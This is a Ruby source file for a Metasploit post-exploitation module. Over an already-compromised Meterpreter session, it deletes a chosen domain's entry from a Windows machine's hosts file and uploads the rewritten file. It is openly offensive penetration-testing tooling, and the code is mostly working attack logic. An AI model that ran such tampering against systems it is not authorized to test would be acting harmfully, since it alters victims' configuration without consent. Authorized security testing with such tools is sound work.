metasploit-framework/modules/post/windows/manage/remove_host.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Post

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows Manage Host File Entry Removal',
      'Description'   => %q{
        This module allows the attacker to remove an entry from the Windows hosts file.
      },
      'License'       => BSD_LICENSE,
      'Author'        => [ 'vt <nick.freeman[at]security-assessment.com>'],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ]
    ))

    register_options(
      [
        OptString.new('DOMAIN', [ true, 'Domain name to remove from the hosts file.' ])
      ], self.class)
  end


  def run
    hosttoremove = datastore['DOMAIN']
    # remove hostname from hosts file
    fd = client.fs.file.new("C:\\WINDOWS\\System32\\drivers\\etc\\hosts", "r+b")

    # Get a temporary file path
    meterp_temp = Tempfile.new('meterp')
    meterp_temp.binmode
    temp_path = meterp_temp.path

    print_status("Removing hosts file entry pointing to #{hosttoremove}")

    newfile = ''
    fdray = fd.read.split("\r\n")

    fdray.each do |line|
      if line.match("\t#{hosttoremove}$")
      else
        newfile += "#{line}\r\n"
      end
    end

    fd.close

    meterp_temp.write(newfile)
    meterp_temp.close

    client.fs.file.upload_file('C:\\WINDOWS\\System32\\drivers\\etc\\hosts', meterp_temp)
    print_good("Done!")
  end

end